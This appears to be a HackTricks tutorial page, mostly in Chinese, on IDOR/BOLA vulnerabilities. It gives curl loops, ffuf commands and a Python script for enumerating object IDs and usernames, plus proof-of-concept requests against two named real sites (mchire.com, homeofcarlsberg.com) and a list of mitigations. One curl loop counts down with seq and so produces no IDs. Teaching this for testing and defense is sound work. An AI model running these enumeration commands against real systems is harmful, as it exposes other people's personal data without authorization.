IDOR (Insecure Direct Object Reference)

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) 出现在 web 或 API 端点披露或接受一个可由用户控制的标识符，该标识符被 直接 用于访问内部对象，而没有验证调用者是否有权 访问/修改该对象。 成功利用通常允许横向或纵向的 privilege-escalation，例如读取或修改其他用户的数据；在最坏情况下，可能导致完全的账号接管或大规模数据 exfiltration。

1. 识别潜在的 IDOR

  1. 寻找 引用对象的参数：
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. 优先关注那些用于 读取或更新 数据的端点（GET, PUT, PATCH, DELETE）。
  2. 注意标识符是否 顺序或可预测 —— 如果你的 ID 是 64185742，那么 64185741 很可能存在。
  3. 探索隐藏或替代的流程（例如登录页中的 “Paradox team members” 链接），这些可能会暴露额外的 API。
  4. 使用一个 已认证的低权限会话，仅更改 ID 并保持相同的 token/cookie。没有出现授权错误通常是 IDOR 的迹象。

快速手动篡改 (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自动化 enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

枚举可预测的下载 ID (ffuf)

需要认证的文件托管面板通常将每用户的元数据存储在单个 files 表中，并公开一个下载端点，例如 /download.php?id=<int>。如果处理程序只检查 ID 是否存在（而不验证它是否属于经过身份验证的用户），你可以使用有效的 session cookie 扫描整数空间并窃取其他租户的 backups/configs：

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr 移除 404-style 模板，因此只保留真正的命中（例如 IDs 54/150 leaking full site backups and signing material）。
  • The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs.

用户/文件枚举的错误响应 oracle

When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:

  • 不存在的 username → “User not found”
  • filename 错误但扩展名有效 → “File does not exist”（有时也会列出可用文件）
  • 扩展名错误 → 验证错误

在任何已认证的会话中，你可以在保持良性 filename 的同时 fuzz username 参数，并基于 “user not found” 字符串进行过滤来发现有效用户：

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

一旦识别出有效的用户名，就可直接请求特定文件（例如，/view.php?username=amanda&file=privacy.odt）。这种模式通常会导致其他用户文档的未授权披露以及凭证泄露。

2. 真实案例研究 – McHire Chatbot Platform (2025)

在对由 Paradox.ai 提供支持的 McHire 招聘门户进行评估时，发现了以下 IDOR：

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8 位、顺序的数字标识符

通过递减 lead_id，测试者检索到了任意申请者的 full PII（姓名、e-mail、phone、address、shift preferences），以及允许进行会话劫持的消费者 JWT。对范围 1 – 64,185,742 的枚举暴露了大约 64 million 条记录。

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

结合授予对测试账户访问权限的 default admin credentials (123456:123456)，该漏洞导致了严重的全公司数据泄露。

案例研究 – Wristband QR codes as weak bearer tokens (2025–2026)

Flow: 展览参观者获得带有 QR 码的腕带；扫描 https://homeofcarlsberg.com/memories/ 会让浏览器获取 腕带上印刷的 ID，进行十六进制编码，并调用 cloudfunctions.net 后端来获取存储的媒体（照片/视频 + 姓名）。不存在 会话绑定 或用户身份验证——知悉该 ID = 授权。

Predictability: 腕带 ID 遵循一个短的模式，例如 C-285-100 → ASCII 十六进制 432d3238352d313030（43 2d 32 38 35 2d 31 30 30）。密钥空间估计约为 ~26M 组合，在线穷举非常容易。

Exploitation workflow with Burp Intruder:

  1. Payload generation: 生成候选 ID（例如 [A-Z]-###-###）。使用 Burp Intruder 的 Pitchfork 或 Cluster Bomb 攻击，在字母和数字处设置位置。添加一个 payload processing rule → Add prefix/suffix → payload encoding: ASCII hex，使每个请求发送后端预期的十六进制字符串。
  2. Response grep: 在 Intruder 中为仅出现在有效响应中的标记设置 grep-match（例如媒体 URL/JSON 字段）。无效 ID 通常返回空数组或 404。
  3. Throughput measurement: 从一台笔记本在约 2 小时内测试了 ~1,000,000 个 ID（约 139 req/s）。按此速率，整个密钥空间（~26M）大约可以在 ~52 小时内被穷举。此次样本运行已暴露 ~500 个有效腕带（视频 + 全名）。
  4. Rate-limiting verification: 在供应商声称已启用节流后，重新运行相同的 Intruder 配置。相同的吞吐量/命中率证明该控制不存在或无效；枚举继续不受阻碍。

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: 编码 (ASCII→hex/Base64) 并不会增加熵；短 ID 成为 bearer tokens，尽管只是表面编码仍然可被枚举。若没有按用户的授权 + 高熵密钥，媒体/PII 即使在声称有 “rate limiting” 的情况下也可能被批量抓取。

3. Impact of IDOR / BOLA

  • Horizontal escalation – 读取/更新/删除 其他用户 的数据。
  • Vertical escalation – 低权限用户获得仅限管理员的功能。
  • Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
  • Account takeover by stealing tokens or resetting passwords of other users.

4. Mitigations & Best Practices

  1. 在每个请求上强制执行对象级授权 (user_id == session.user)。
  2. 优先使用 间接、不可预测的标识符 (UUIDv4, ULID) 而不是自增 ID。
  3. 在 server-side 执行授权，绝不要依赖隐藏表单字段或 UI 控件。
  4. 在中央中间件中实现 RBAC / ABAC 检查。
  5. 添加 rate-limiting & logging 以检测 ID 的枚举。
  6. 对每个新端点进行安全测试（单元测试、集成测试和 DAST）。

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks